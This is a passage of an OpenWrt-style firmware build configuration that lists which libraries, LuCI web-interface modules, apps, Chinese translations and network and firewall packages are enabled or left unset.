CONFIG_PACKAGE_libnetfilter-cttimeout is not set # CONFIG_PACKAGE_libnetfilter-log is not set # CONFIG_PACKAGE_libnetfilter-queue is not set # CONFIG_PACKAGE_libnetsnmp is not set # CONFIG_PACKAGE_libnettle is not set # CONFIG_PACKAGE_libnfnetlink is not set # CONFIG_PACKAGE_libnftnl is not set # CONFIG_PACKAGE_libnghttp2 is not set # CONFIG_PACKAGE_libnl is not set # CONFIG_PACKAGE_libnl-core is not set # CONFIG_PACKAGE_libnl-genl is not set # CONFIG_PACKAGE_libnl-nf is not set # CONFIG_PACKAGE_libnl-route is not set CONFIG_PACKAGE_libnl-tiny=y # CONFIG_PACKAGE_libnopoll is not set # CONFIG_PACKAGE_libogg is not set # CONFIG_PACKAGE_liboil is not set # CONFIG_PACKAGE_libopcodes is not set # CONFIG_PACKAGE_libopendkim is not set # CONFIG_PACKAGE_libopenobex is not set # CONFIG_PACKAGE_libopensc is not set # CONFIG_PACKAGE_libopenzwave is not set # CONFIG_PACKAGE_liboping is not set # CONFIG_PACKAGE_libopus is not set # CONFIG_PACKAGE_libout123 is not set # CONFIG_PACKAGE_libowfat is not set # CONFIG_PACKAGE_libp11 is not set # CONFIG_PACKAGE_libpagekite is not set # CONFIG_PACKAGE_libpam is not set # CONFIG_PACKAGE_libpcap is not set # CONFIG_PACKAGE_libpciaccess is not set CONFIG_PACKAGE_libpcre=y # CONFIG_PACKAGE_libpcre16 is not set # CONFIG_PACKAGE_libpcre2 is not set # CONFIG_PACKAGE_libpcre2-16 is not set # CONFIG_PACKAGE_libpcre2-32 is not set # CONFIG_PACKAGE_libpcrecpp is not set # CONFIG_PACKAGE_libpcsclite is not set # CONFIG_PACKAGE_libpkcs11-spy is not set # CONFIG_PACKAGE_libplist is not set # CONFIG_PACKAGE_libplistcxx is not set # CONFIG_PACKAGE_libpng is not set # CONFIG_PACKAGE_libpopt is not set # CONFIG_PACKAGE_libprotobuf-c is not set # CONFIG_PACKAGE_libqmi is not set # CONFIG_PACKAGE_libqrencode is not set # CONFIG_PACKAGE_libradcli is not set # CONFIG_PACKAGE_libreadline is not set # CONFIG_PACKAGE_libredblack is not set # CONFIG_PACKAGE_librouteros is not set # CONFIG_PACKAGE_libroxml is not set # CONFIG_PACKAGE_librpc is not set # CONFIG_PACKAGE_librrd1 is not set # CONFIG_PACKAGE_librtlsdr is not set # CONFIG_PACKAGE_libruby is not set # CONFIG_PACKAGE_libsamplerate is not set # CONFIG_PACKAGE_libsane is not set # CONFIG_PACKAGE_libsasl2 is not set # CONFIG_PACKAGE_libsearpc is not set # CONFIG_PACKAGE_libseccomp is not set # CONFIG_PACKAGE_libsensors is not set # CONFIG_PACKAGE_libshout is not set # CONFIG_PACKAGE_libshout-full is not set # CONFIG_PACKAGE_libshout-nossl is not set # CONFIG_PACKAGE_libsigcxx is not set # CONFIG_PACKAGE_libsmartcols is not set # CONFIG_PACKAGE_libsndfile is not set # CONFIG_PACKAGE_libsoc is not set # CONFIG_PACKAGE_libsocks is not set # CONFIG_PACKAGE_libsodium is not set # CONFIG_PACKAGE_libsoup is not set # CONFIG_PACKAGE_libsoxr is not set # CONFIG_PACKAGE_libspeex is not set # CONFIG_PACKAGE_libspeexdsp is not set # CONFIG_PACKAGE_libspice-server is not set # CONFIG_PACKAGE_libss is not set # CONFIG_PACKAGE_libssh is not set # CONFIG_PACKAGE_libssh2 is not set # CONFIG_PACKAGE_libstoken is not set # CONFIG_PACKAGE_libstrophe is not set # CONFIG_PACKAGE_libtalloc is not set # CONFIG_PACKAGE_libtasn1 is not set # CONFIG_PACKAGE_libtheora is not set # CONFIG_PACKAGE_libtiff is not set # CONFIG_PACKAGE_libtiffxx is not set # CONFIG_PACKAGE_libtins is not set # CONFIG_PACKAGE_libtirpc is not set # CONFIG_PACKAGE_libtorrent is not set CONFIG_PACKAGE_libubox=y # CONFIG_PACKAGE_libubox-lua is not set CONFIG_PACKAGE_libubus=y CONFIG_PACKAGE_libubus-lua=y CONFIG_PACKAGE_libuci=y CONFIG_PACKAGE_libuci-lua=y CONFIG_PACKAGE_libuclient=y # CONFIG_PACKAGE_libudev-fbsd is not set # CONFIG_PACKAGE_libudns is not set # CONFIG_PACKAGE_libuecc is not set # CONFIG_PACKAGE_libugpio is not set # CONFIG_PACKAGE_libunistring is not set # CONFIG_PACKAGE_libunwind is not set # CONFIG_PACKAGE_libupnp is not set # CONFIG_PACKAGE_libupnpp is not set # CONFIG_PACKAGE_liburcu is not set # CONFIG_PACKAGE_libusb-1.0 is not set # CONFIG_PACKAGE_libusb-compat is not set # CONFIG_PACKAGE_libusbmuxd is not set # CONFIG_PACKAGE_libustream-mbedtls is not set CONFIG_PACKAGE_libustream-openssl=y # CONFIG_PACKAGE_libustream-wolfssl is not set CONFIG_PACKAGE_libuuid=y # CONFIG_PACKAGE_libuv is not set # CONFIG_PACKAGE_libuvc is not set # CONFIG_PACKAGE_libv4l is not set # CONFIG_PACKAGE_libvorbis is not set # CONFIG_PACKAGE_libvorbisidec is not set # CONFIG_PACKAGE_libvpx is not set # CONFIG_PACKAGE_libwebcam is not set # CONFIG_PACKAGE_libwebsockets-full is not set # CONFIG_PACKAGE_libwebsockets-mbedtls is not set # CONFIG_PACKAGE_libwebsockets-openssl is not set # CONFIG_PACKAGE_libwrap is not set # CONFIG_PACKAGE_libwxbase is not set # CONFIG_PACKAGE_libx264 is not set # CONFIG_PACKAGE_libxerces-c is not set # CONFIG_PACKAGE_libxerces-c-samples is not set # CONFIG_PACKAGE_libxml2 is not set # CONFIG_PACKAGE_libxslt is not set # CONFIG_PACKAGE_libyaml-cpp is not set # CONFIG_PACKAGE_libyang is not set # CONFIG_PACKAGE_libzdb is not set # CONFIG_PACKAGE_libzmq-curve is not set # CONFIG_PACKAGE_libzmq-nc is not set # CONFIG_PACKAGE_linux-atm is not set # CONFIG_PACKAGE_loudmouth is not set # CONFIG_PACKAGE_lttng-ust is not set # CONFIG_PACKAGE_mtdev is not set # CONFIG_PACKAGE_musl-fts is not set # CONFIG_PACKAGE_mxml is not set # CONFIG_PACKAGE_nacl is not set # CONFIG_PACKAGE_oniguruma is not set # CONFIG_PACKAGE_opencv is not set # CONFIG_PACKAGE_p11-kit is not set # CONFIG_PACKAGE_pixman is not set # CONFIG_PACKAGE_poco is not set # CONFIG_PACKAGE_protobuf is not set # CONFIG_PACKAGE_protobuf-lite is not set # CONFIG_PACKAGE_pthsem is not set # CONFIG_PACKAGE_rblibtorrent is not set CONFIG_PACKAGE_rpcd-mod-rrdns=y # CONFIG_PACKAGE_rxtx is not set # CONFIG_PACKAGE_sbc is not set # CONFIG_PACKAGE_spice-protocol is not set # CONFIG_PACKAGE_terminfo is not set # CONFIG_PACKAGE_tinycdb is not set # CONFIG_PACKAGE_uclibcxx is not set # CONFIG_PACKAGE_uw-imap is not set # CONFIG_PACKAGE_xmlrpc-c is not set # CONFIG_PACKAGE_xmlrpc-c-client is not set # CONFIG_PACKAGE_xmlrpc-c-server is not set # CONFIG_PACKAGE_yajl is not set CONFIG_PACKAGE_zlib=y # # Configuration # # CONFIG_ZLIB_OPTIMIZE_SPEED is not set # # LuCI # # # 1. Collections # CONFIG_PACKAGE_luci=y # CONFIG_PACKAGE_luci-nginx is not set # CONFIG_PACKAGE_luci-ssl-nginx is not set # CONFIG_PACKAGE_luci-ssl-openssl is not set # # 2. Modules # CONFIG_PACKAGE_luci-base=y CONFIG_LUCI_SRCDIET=y # # Translations # # CONFIG_LUCI_LANG_hu is not set # CONFIG_LUCI_LANG_pt is not set # CONFIG_LUCI_LANG_sk is not set # CONFIG_LUCI_LANG_ko is not set # CONFIG_LUCI_LANG_en is not set # CONFIG_LUCI_LANG_el is not set # CONFIG_LUCI_LANG_uk is not set # CONFIG_LUCI_LANG_ja is not set # CONFIG_LUCI_LANG_vi is not set # CONFIG_LUCI_LANG_he is not set # CONFIG_LUCI_LANG_no is not set # CONFIG_LUCI_LANG_ms is not set # CONFIG_LUCI_LANG_pl is not set CONFIG_LUCI_LANG_zh-cn=y # CONFIG_LUCI_LANG_ro is not set # CONFIG_LUCI_LANG_de is not set # CONFIG_LUCI_LANG_zh-tw is not set # CONFIG_LUCI_LANG_tr is not set # CONFIG_LUCI_LANG_sv is not set # CONFIG_LUCI_LANG_ru is not set # CONFIG_LUCI_LANG_pt-br is not set # CONFIG_LUCI_LANG_ca is not set # CONFIG_LUCI_LANG_es is not set # CONFIG_LUCI_LANG_cs is not set # CONFIG_LUCI_LANG_fr is not set # CONFIG_LUCI_LANG_it is not set CONFIG_PACKAGE_luci-mod-admin-full=y # CONFIG_PACKAGE_luci-mod-failsafe is not set # CONFIG_PACKAGE_luci-mod-freifunk is not set # CONFIG_PACKAGE_luci-mod-freifunk-community is not set # CONFIG_PACKAGE_luci-mod-rpc is not set # # 3. Applications # # CONFIG_PACKAGE_luci-app-accesscontrol is not set # CONFIG_PACKAGE_luci-app-acme is not set # CONFIG_PACKAGE_luci-app-adblock is not set # CONFIG_PACKAGE_luci-app-adbyby-plus is not set # CONFIG_PACKAGE_luci-app-advanced-reboot is not set # CONFIG_PACKAGE_luci-app-ahcp is not set # CONFIG_PACKAGE_luci-app-airplay2 is not set # CONFIG_PACKAGE_luci-app-amule is not set # CONFIG_PACKAGE_luci-app-aria2 is not set # CONFIG_PACKAGE_luci-app-arpbind is not set # CONFIG_PACKAGE_luci-app-asterisk is not set # CONFIG_PACKAGE_luci-app-attendedsysupgrade is not set CONFIG_PACKAGE_luci-app-autoreboot=y # CONFIG_PACKAGE_luci-app-baidupcs-web is not set # CONFIG_PACKAGE_luci-app-bcp38 is not set # CONFIG_PACKAGE_luci-app-bird1-ipv4 is not set # CONFIG_PACKAGE_luci-app-bird1-ipv6 is not set # CONFIG_PACKAGE_luci-app-bmx6 is not set # CONFIG_PACKAGE_luci-app-bmx7 is not set # CONFIG_PACKAGE_luci-app-cifs-mount is not set # CONFIG_PACKAGE_luci-app-cifsd is not set # CONFIG_PACKAGE_luci-app-cjdns is not set # CONFIG_PACKAGE_luci-app-clamav is not set # CONFIG_PACKAGE_luci-app-commands is not set # CONFIG_PACKAGE_luci-app-cshark is not set # CONFIG_PACKAGE_luci-app-ddns is not set # CONFIG_PACKAGE_luci-app-diag-core is not set # CONFIG_PACKAGE_luci-app-diskman is not set # CONFIG_PACKAGE_luci-app-diskman_INCLUDE_btrfs_progs is not set # CONFIG_PACKAGE_luci-app-diskman_INCLUDE_lsblk is not set # CONFIG_PACKAGE_luci-app-diskman_INCLUDE_mdadm is not set # CONFIG_PACKAGE_luci-app-diskman_INCLUDE_kmod_md_raid456 is not set # CONFIG_PACKAGE_luci-app-diskman_INCLUDE_kmod_md_linear is not set # CONFIG_PACKAGE_luci-app-dnscrypt-proxy is not set # CONFIG_PACKAGE_luci-app-dump1090 is not set # CONFIG_PACKAGE_luci-app-dynapoint is not set # CONFIG_PACKAGE_luci-app-e2guardian is not set # CONFIG_PACKAGE_luci-app-familycloud is not set # CONFIG_PACKAGE_luci-app-filetransfer is not set CONFIG_PACKAGE_luci-app-firewall=y # CONFIG_PACKAGE_luci-app-freifunk-diagnostics is not set # CONFIG_PACKAGE_luci-app-freifunk-policyrouting is not set # CONFIG_PACKAGE_luci-app-freifunk-widgets is not set # CONFIG_PACKAGE_luci-app-frpc is not set # CONFIG_PACKAGE_luci-app-frps is not set # CONFIG_PACKAGE_luci-app-fwknopd is not set # CONFIG_PACKAGE_luci-app-guest-wifi is not set # CONFIG_PACKAGE_luci-app-haproxy-tcp is not set # CONFIG_PACKAGE_luci-app-hd-idle is not set # CONFIG_PACKAGE_luci-app-hnet is not set # CONFIG_PACKAGE_luci-app-ipsec-vpnd is not set # CONFIG_PACKAGE_luci-app-kodexplorer is not set # CONFIG_PACKAGE_luci-app-lxc is not set # CONFIG_PACKAGE_luci-app-meshwizard is not set # CONFIG_PACKAGE_luci-app-minidlna is not set # CONFIG_PACKAGE_luci-app-mjpg-streamer is not set # CONFIG_PACKAGE_luci-app-mtwifi is not set # CONFIG_PACKAGE_luci-app-music-remote-center is not set # CONFIG_PACKAGE_luci-app-mwan3 is not set # CONFIG_PACKAGE_luci-app-mwan3helper is not set # CONFIG_PACKAGE_luci-app-n2n_v2 is not set # CONFIG_PACKAGE_luci-app-netdata is not set # CONFIG_PACKAGE_luci-app-nfs is not set # CONFIG_PACKAGE_luci-app-nft-qos is not set # CONFIG_PACKAGE_luci-app-nlbwmon is not set # CONFIG_PACKAGE_luci-app-noddos is not set # CONFIG_PACKAGE_luci-app-nps is not set # CONFIG_PACKAGE_luci-app-ntpc is not set # CONFIG_PACKAGE_luci-app-ocserv is not set # CONFIG_PACKAGE_luci-app-olsr is not set # CONFIG_PACKAGE_luci-app-olsr-services is not set # CONFIG_PACKAGE_luci-app-olsr-viz is not set # CONFIG_PACKAGE_luci-app-openvpn is not set # CONFIG_PACKAGE_luci-app-openvpn-server is not set # CONFIG_PACKAGE_luci-app-p910nd is not set # CONFIG_PACKAGE_luci-app-pagekitec is not set # CONFIG_PACKAGE_luci-app-polipo is not set # CONFIG_PACKAGE_luci-app-pppoe-relay is not set # CONFIG_PACKAGE_luci-app-privoxy is not set # CONFIG_PACKAGE_luci-app-ps3netsrv is not set # CONFIG_PACKAGE_luci-app-qbittorrent is not set # CONFIG_PACKAGE_luci-app-qos is not set # CONFIG_PACKAGE_luci-app-radicale is not set CONFIG_PACKAGE_luci-app-ramfree=y # CONFIG_PACKAGE_luci-app-rclone is not set # CONFIG_PACKAGE_luci-app-rp-pppoe-server is not set # CONFIG_PACKAGE_luci-app-samba is not set # CONFIG_PACKAGE_luci-app-samba4 is not set CONFIG_PACKAGE_luci-app-sfe=y # CONFIG_PACKAGE_luci-app-shadowsocks-libev is not set # CONFIG_PACKAGE_luci-app-shairplay is not set # CONFIG_PACKAGE_luci-app-siitwizard is not set # CONFIG_PACKAGE_luci-app-simple-adblock is not set # CONFIG_PACKAGE_luci-app-softethervpn is not set # CONFIG_PACKAGE_luci-app-splash is not set # CONFIG_PACKAGE_luci-app-sqm is not set # CONFIG_PACKAGE_luci-app-squid is not set # CONFIG_PACKAGE_luci-app-ssrserver-python is not set # CONFIG_PACKAGE_luci-app-statistics is not set # CONFIG_PACKAGE_luci-app-syncdial is not set # CONFIG_PACKAGE_luci-app-tinyproxy is not set # CONFIG_PACKAGE_luci-app-transmission is not set # CONFIG_PACKAGE_luci-app-travelmate is not set # CONFIG_PACKAGE_luci-app-ttyd is not set # CONFIG_PACKAGE_luci-app-udpxy is not set # CONFIG_PACKAGE_luci-app-uhttpd is not set # CONFIG_PACKAGE_luci-app-unblockmusic is not set # CONFIG_UnblockNeteaseMusic_Go is not set # CONFIG_UnblockNeteaseMusic_NodeJS is not set # CONFIG_PACKAGE_luci-app-unbound is not set # CONFIG_PACKAGE_luci-app-upnp is not set # CONFIG_PACKAGE_luci-app-usb-printer is not set CONFIG_PACKAGE_luci-app-v2ray-server=y # CONFIG_PACKAGE_luci-app-verysync is not set # CONFIG_PACKAGE_luci-app-vlmcsd is not set # CONFIG_PACKAGE_luci-app-vnstat is not set # CONFIG_PACKAGE_luci-app-vpnbypass is not set # CONFIG_PACKAGE_luci-app-vsftpd is not set # CONFIG_PACKAGE_luci-app-watchcat is not set # CONFIG_PACKAGE_luci-app-webadmin is not set # CONFIG_PACKAGE_luci-app-wifischedule is not set # CONFIG_PACKAGE_luci-app-wireguard is not set # CONFIG_PACKAGE_luci-app-wol is not set # CONFIG_PACKAGE_luci-app-wrtbwmon is not set # CONFIG_PACKAGE_luci-app-xlnetacc is not set # CONFIG_PACKAGE_luci-app-zerotier is not set # # 4. Themes # # CONFIG_PACKAGE_luci-theme-argon is not set CONFIG_PACKAGE_luci-theme-bootstrap=y # CONFIG_PACKAGE_luci-theme-material is not set CONFIG_PACKAGE_luci-theme-netgear=y # # 5. Protocols # # CONFIG_PACKAGE_luci-proto-3g is not set # CONFIG_PACKAGE_luci-proto-bonding is not set # CONFIG_PACKAGE_luci-proto-ipip is not set # CONFIG_PACKAGE_luci-proto-ipv6 is not set # CONFIG_PACKAGE_luci-proto-ncm is not set # CONFIG_PACKAGE_luci-proto-openconnect is not set CONFIG_PACKAGE_luci-proto-ppp=y # CONFIG_PACKAGE_luci-proto-qmi is not set # CONFIG_PACKAGE_luci-proto-relay is not set # CONFIG_PACKAGE_luci-proto-vpnc is not set # CONFIG_PACKAGE_luci-proto-wireguard is not set # # 6. Libraries # # CONFIG_PACKAGE_luci-lib-docker is not set # CONFIG_PACKAGE_luci-lib-dracula is not set # CONFIG_PACKAGE_luci-lib-httpclient is not set # CONFIG_PACKAGE_luci-lib-httpprotoutils is not set CONFIG_PACKAGE_luci-lib-ip=y # CONFIG_PACKAGE_luci-lib-iptparser is not set # CONFIG_PACKAGE_luci-lib-jquery-1-4 is not set # CONFIG_PACKAGE_luci-lib-json is not set CONFIG_PACKAGE_luci-lib-jsonc=y # CONFIG_PACKAGE_luci-lib-luaneightbl is not set CONFIG_PACKAGE_luci-lib-nixio=y # CONFIG_PACKAGE_luci-lib-px5g is not set # # 9. Freifunk # # CONFIG_PACKAGE_freifunk-common is not set # CONFIG_PACKAGE_freifunk-firewall is not set # CONFIG_PACKAGE_freifunk-policyrouting is not set # CONFIG_PACKAGE_freifunk-watchdog is not set # CONFIG_PACKAGE_meshwizard is not set CONFIG_PACKAGE_default-settings=y CONFIG_PACKAGE_luci-i18n-autoreboot-zh-cn=y # CONFIG_PACKAGE_luci-i18n-base-ca is not set # CONFIG_PACKAGE_luci-i18n-base-cs is not set # CONFIG_PACKAGE_luci-i18n-base-de is not set # CONFIG_PACKAGE_luci-i18n-base-el is not set # CONFIG_PACKAGE_luci-i18n-base-en is not set # CONFIG_PACKAGE_luci-i18n-base-es is not set # CONFIG_PACKAGE_luci-i18n-base-fr is not set # CONFIG_PACKAGE_luci-i18n-base-he is not set # CONFIG_PACKAGE_luci-i18n-base-hu is not set # CONFIG_PACKAGE_luci-i18n-base-it is not set # CONFIG_PACKAGE_luci-i18n-base-ja is not set # CONFIG_PACKAGE_luci-i18n-base-ko is not set # CONFIG_PACKAGE_luci-i18n-base-ms is not set # CONFIG_PACKAGE_luci-i18n-base-no is not set # CONFIG_PACKAGE_luci-i18n-base-pl is not set # CONFIG_PACKAGE_luci-i18n-base-pt is not set # CONFIG_PACKAGE_luci-i18n-base-pt-br is not set # CONFIG_PACKAGE_luci-i18n-base-ro is not set # CONFIG_PACKAGE_luci-i18n-base-ru is not set # CONFIG_PACKAGE_luci-i18n-base-sk is not set # CONFIG_PACKAGE_luci-i18n-base-sv is not set # CONFIG_PACKAGE_luci-i18n-base-tr is not set # CONFIG_PACKAGE_luci-i18n-base-uk is not set # CONFIG_PACKAGE_luci-i18n-base-vi is not set CONFIG_PACKAGE_luci-i18n-base-zh-cn=y # CONFIG_PACKAGE_luci-i18n-base-zh-tw is not set # CONFIG_PACKAGE_luci-i18n-firewall-ca is not set # CONFIG_PACKAGE_luci-i18n-firewall-cs is not set # CONFIG_PACKAGE_luci-i18n-firewall-de is not set # CONFIG_PACKAGE_luci-i18n-firewall-el is not set # CONFIG_PACKAGE_luci-i18n-firewall-en is not set # CONFIG_PACKAGE_luci-i18n-firewall-es is not set # CONFIG_PACKAGE_luci-i18n-firewall-fr is not set # CONFIG_PACKAGE_luci-i18n-firewall-he is not set # CONFIG_PACKAGE_luci-i18n-firewall-hu is not set # CONFIG_PACKAGE_luci-i18n-firewall-it is not set # CONFIG_PACKAGE_luci-i18n-firewall-ja is not set # CONFIG_PACKAGE_luci-i18n-firewall-ko is not set # CONFIG_PACKAGE_luci-i18n-firewall-ms is not set # CONFIG_PACKAGE_luci-i18n-firewall-no is not set # CONFIG_PACKAGE_luci-i18n-firewall-pl is not set # CONFIG_PACKAGE_luci-i18n-firewall-pt is not set # CONFIG_PACKAGE_luci-i18n-firewall-pt-br is not set # CONFIG_PACKAGE_luci-i18n-firewall-ro is not set # CONFIG_PACKAGE_luci-i18n-firewall-ru is not set # CONFIG_PACKAGE_luci-i18n-firewall-sk is not set # CONFIG_PACKAGE_luci-i18n-firewall-sv is not set # CONFIG_PACKAGE_luci-i18n-firewall-tr is not set # CONFIG_PACKAGE_luci-i18n-firewall-uk is not set # CONFIG_PACKAGE_luci-i18n-firewall-vi is not set CONFIG_PACKAGE_luci-i18n-firewall-zh-cn=y # CONFIG_PACKAGE_luci-i18n-firewall-zh-tw is not set CONFIG_PACKAGE_luci-i18n-ramfree-zh-cn=y CONFIG_PACKAGE_luci-i18n-sfe-zh-cn=y CONFIG_PACKAGE_luci-i18n-v2ray-server-zh-cn=y # # Mail # # CONFIG_PACKAGE_alpine is not set # CONFIG_PACKAGE_alpine-nossl is not set # CONFIG_PACKAGE_bogofilter is not set # CONFIG_PACKAGE_clamsmtp is not set # CONFIG_PACKAGE_dovecot is not set # CONFIG_PACKAGE_dovecot-pigeonhole is not set # CONFIG_PACKAGE_dovecot-utils is not set # CONFIG_PACKAGE_emailrelay is not set # CONFIG_PACKAGE_fdm is not set # CONFIG_PACKAGE_greyfix is not set # CONFIG_PACKAGE_mailman is not set # CONFIG_PACKAGE_mailsend is not set # CONFIG_PACKAGE_mailsend-nossl is not set # CONFIG_PACKAGE_msmtp is not set # CONFIG_PACKAGE_msmtp-nossl is not set # CONFIG_PACKAGE_mutt is not set # CONFIG_PACKAGE_nail is not set # CONFIG_PACKAGE_opendkim is not set # CONFIG_PACKAGE_opendkim-tools is not set # CONFIG_PACKAGE_postfix is not set # # Select postfix build options # CONFIG_POSTFIX_TLS=y CONFIG_POSTFIX_SASL=y CONFIG_POSTFIX_LDAP=y # CONFIG_POSTFIX_DB is not set CONFIG_POSTFIX_CDB=y CONFIG_POSTFIX_SQLITE=y # CONFIG_POSTFIX_PGSQL is not set CONFIG_POSTFIX_PCRE=y # CONFIG_POSTFIX_EAI is not set # CONFIG_PACKAGE_ssmtp is not set # # Multimedia # # # Streaming # # CONFIG_PACKAGE_oggfwd is not set # CONFIG_PACKAGE_crtmpserver is not set # CONFIG_PACKAGE_ffmpeg is not set # CONFIG_PACKAGE_ffprobe is not set # CONFIG_PACKAGE_ffserver is not set # CONFIG_PACKAGE_fswebcam is not set # CONFIG_PACKAGE_gmediarender is not set # CONFIG_PACKAGE_gphoto2 is not set # CONFIG_PACKAGE_grilo is not set # CONFIG_PACKAGE_grilo-plugins is not set # CONFIG_PACKAGE_gst1-libav is not set # CONFIG_PACKAGE_gstreamer1-libs is not set # CONFIG_PACKAGE_gstreamer1-plugins-bad is not set # CONFIG_PACKAGE_gstreamer1-plugins-base is not set # CONFIG_PACKAGE_gstreamer1-plugins-good is not set # CONFIG_PACKAGE_gstreamer1-plugins-ugly is not set # CONFIG_PACKAGE_gstreamer1-utils is not set # CONFIG_PACKAGE_icecast is not set # CONFIG_PACKAGE_lcdgrilo is not set # CONFIG_PACKAGE_minidlna is not set # CONFIG_PACKAGE_mjpg-streamer is not set # CONFIG_PACKAGE_motion is not set # CONFIG_PACKAGE_tvheadend is not set # CONFIG_PACKAGE_v4l2rtspserver is not set # CONFIG_PACKAGE_vips is not set # CONFIG_PACKAGE_xupnpd is not set # CONFIG_PACKAGE_youtube-dl is not set # # Network # # # BitTorrent # # CONFIG_PACKAGE_mktorrent is not set # CONFIG_PACKAGE_opentracker is not set # CONFIG_PACKAGE_opentracker6 is not set # CONFIG_PACKAGE_qBittorrent is not set # CONFIG_PACKAGE_rtorrent is not set # CONFIG_PACKAGE_rtorrent-rpc is not set # CONFIG_PACKAGE_transmission-cli-openssl is not set # CONFIG_PACKAGE_transmission-daemon-openssl is not set # CONFIG_PACKAGE_transmission-remote-openssl is not set # CONFIG_PACKAGE_transmission-web is not set # CONFIG_PACKAGE_transmission-web-control is not set # # Captive Portals # # CONFIG_PACKAGE_coova-chilli is not set # CONFIG_PACKAGE_nodogsplash is not set # CONFIG_PACKAGE_wifidog is not set # CONFIG_PACKAGE_wifidog-ng-mbedtls is not set # CONFIG_PACKAGE_wifidog-ng-nossl is not set # CONFIG_PACKAGE_wifidog-ng-openssl is not set # CONFIG_PACKAGE_wifidog-ng-wolfssl is not set # CONFIG_PACKAGE_wifidog-tls is not set # # Cloud Manager # # CONFIG_PACKAGE_rclone-ng is not set # CONFIG_PACKAGE_rclone-webui-react is not set # # Download Manager # # CONFIG_PACKAGE_ariang is not set # CONFIG_PACKAGE_webui-aria2 is not set # CONFIG_PACKAGE_yaaw is not set # # File Transfer # # CONFIG_PACKAGE_aria2 is not set # CONFIG_PACKAGE_atftp is not set # CONFIG_PACKAGE_atftpd is not set # CONFIG_PACKAGE_curl is not set # CONFIG_PACKAGE_gnurl is not set # CONFIG_PACKAGE_lftp is not set # CONFIG_PACKAGE_ps3netsrv is not set # CONFIG_PACKAGE_rosy-file-server is not set # CONFIG_PACKAGE_rsync is not set # CONFIG_PACKAGE_rsyncd is not set # CONFIG_PACKAGE_vsftpd is not set CONFIG_PACKAGE_vsftpd-alt=y CONFIG_VSFTPD_USE_UCI_SCRIPTS=y # CONFIG_PACKAGE_vsftpd-tls is not set CONFIG_PACKAGE_wget=y # CONFIG_PACKAGE_wget-nossl is not set # # Filesystem # # CONFIG_PACKAGE_davfs2 is not set # CONFIG_PACKAGE_ksmbd-avahi-service is not set # CONFIG_PACKAGE_ksmbd-server is not set # CONFIG_PACKAGE_ksmbd-utils is not set # CONFIG_PACKAGE_netatalk is not set # CONFIG_PACKAGE_nfs-kernel-server is not set # CONFIG_PACKAGE_owftpd is not set # CONFIG_PACKAGE_owhttpd is not set # CONFIG_PACKAGE_owserver is not set # CONFIG_PACKAGE_sshfs is not set # # Firewall # # CONFIG_PACKAGE_arptables is not set # CONFIG_PACKAGE_conntrack is not set # CONFIG_PACKAGE_conntrackd is not set # CONFIG_PACKAGE_ebtables is not set # CONFIG_PACKAGE_fwknop is not set # CONFIG_PACKAGE_fwknopd is not set # CONFIG_PACKAGE_ip6tables is not set CONFIG_PACKAGE_iptables=y # CONFIG_IPTABLES_CONNLABEL is not set # CONFIG_IPTABLES_NFTABLES is not set # CONFIG_PACKAGE_iptables-mod-account is not set # CONFIG_PACKAGE_iptables-mod-chaos is not set # CONFIG_PACKAGE_iptables-mod-checksum is not set # CONFIG_PACKAGE_iptables-mod-cluster is not set # CONFIG_PACKAGE_iptables-mod-clusterip is not set # CONFIG_PACKAGE_iptables-mod-condition is not set # CONFIG_PACKAGE_iptables-mod-conntrack-extra is not set # CONFIG_PACKAGE_iptables-mod-delude is not set # CONFIG_PACKAGE_iptables-mod-dhcpmac is not set # CONFIG_PACKAGE_iptables-mod-dnetmap is not set # CONFIG_PACKAGE_iptables-mod-extra is not set # CONFIG_PACKAGE_iptables-mod-filter is not set CONFIG_PACKAGE_iptables-mod-fullconenat=y # CONFIG_PACKAGE_iptables-mod-fuzzy is not set # CONFIG_PACKAGE_iptables-mod-geoip is not set # CONFIG_PACKAGE_iptables-mod-hashlimit is not set # CONFIG_PACKAGE_iptables-mod-iface is not set # CONFIG_PACKAGE_iptables-mod-ipmark is not set # CONFIG_PACKAGE_iptables-mod-ipopt is not set # CONFIG_PACKAGE_iptables-mod-ipp2p is not set # CONFIG_PACKAGE_iptables-mod-iprange is not set # CONFIG_PACKAGE_iptables-mod-ipsec is not set # CONFIG_PACKAGE_iptables-mod-ipv4options is not set # CONFIG_PACKAGE_iptables-mod-led is not set # CONFIG_PACKAGE_iptables-mod-length2 is not set # CONFIG_PACKAGE_iptables-mod-logmark is not set # CONFIG_PACKAGE_iptables-mod-lscan is not set # CONFIG_PACKAGE_iptables-mod-lua is not set # CONFIG_PACKAGE_iptables-mod-nat-extra is not set # CONFIG_PACKAGE_iptables-mod-nflog is not set # CONFIG_PACKAGE_iptables-mod-nfqueue is not set # CONFIG_PACKAGE_iptables-mod-physdev is not set # CONFIG_PACKAGE_iptables-mod-psd is not set # CONFIG_PACKAGE_iptables-mod-quota2 is not set # CONFIG_PACKAGE_iptables-mod-rpfilter is not set # CONFIG_PACKAGE_iptables-mod-sysrq is not set # CONFIG_PACKAGE_iptables-mod-tarpit is not set # CONFIG_PACKAGE_iptables-mod-tee is not set # CONFIG_PACKAGE_iptables-mod-tproxy is not set # CONFIG_PACKAGE_iptables-mod-trace is not set # CONFIG_PACKAGE_iptables-mod-u32 is not set # CONFIG_PACKAGE_iptables-mod-ulog is not set # CONFIG_PACKAGE_iptaccount is not set # CONFIG_PACKAGE_iptgeoip is not set # CONFIG_PACKAGE_miniupnpc is not set CONFIG_PACKAGE_miniupnpd=y # CONFIG_MINIUPNPD_IGDv2 is not set # CONFIG_PACKAGE_natpmpc is not set # CONFIG_PACKAGE_nftables is not set # CONFIG_PACKAGE_shorewall is not set # CONFIG_PACKAGE_shorewall-core is not set # CONFIG_PACKAGE_shorewall-lite is not set # CONFIG_PACKAGE_shorewall6 is not set # CONFIG_PACKAGE_shorewall6-lite is not set # CONFIG_PACKAGE_snort is not set # # Firewall Tunnel # # CONFIG_PACKAGE_iodine is not set # CONFIG_PACKAGE_iodined is not set # # FreeRADIUS (version 3) # # CONFIG_PACKAGE_freeradius3 is not set # CONFIG_PACKAGE_freeradius3-common is not set # CONFIG_PACKAGE_freeradius3-utils is not set # # IP Addresses and Names # # CONFIG_PACKAGE_aggregate is not set # CONFIG_PACKAGE_announce is not set # CONFIG_PACKAGE_avahi-autoipd is not set # CONFIG_PACKAGE_avahi-daemon-service-http is not set # CONFIG_PACKAGE_avahi-daemon-service-ssh is not set # CONFIG_PACKAGE_avahi-dbus-daemon is not set # CONFIG_PACKAGE_avahi-dnsconfd is not set # CONFIG_PACKAGE_avahi-nodbus-daemon is not set # CONFIG_PACKAGE_avahi-utils is not set # 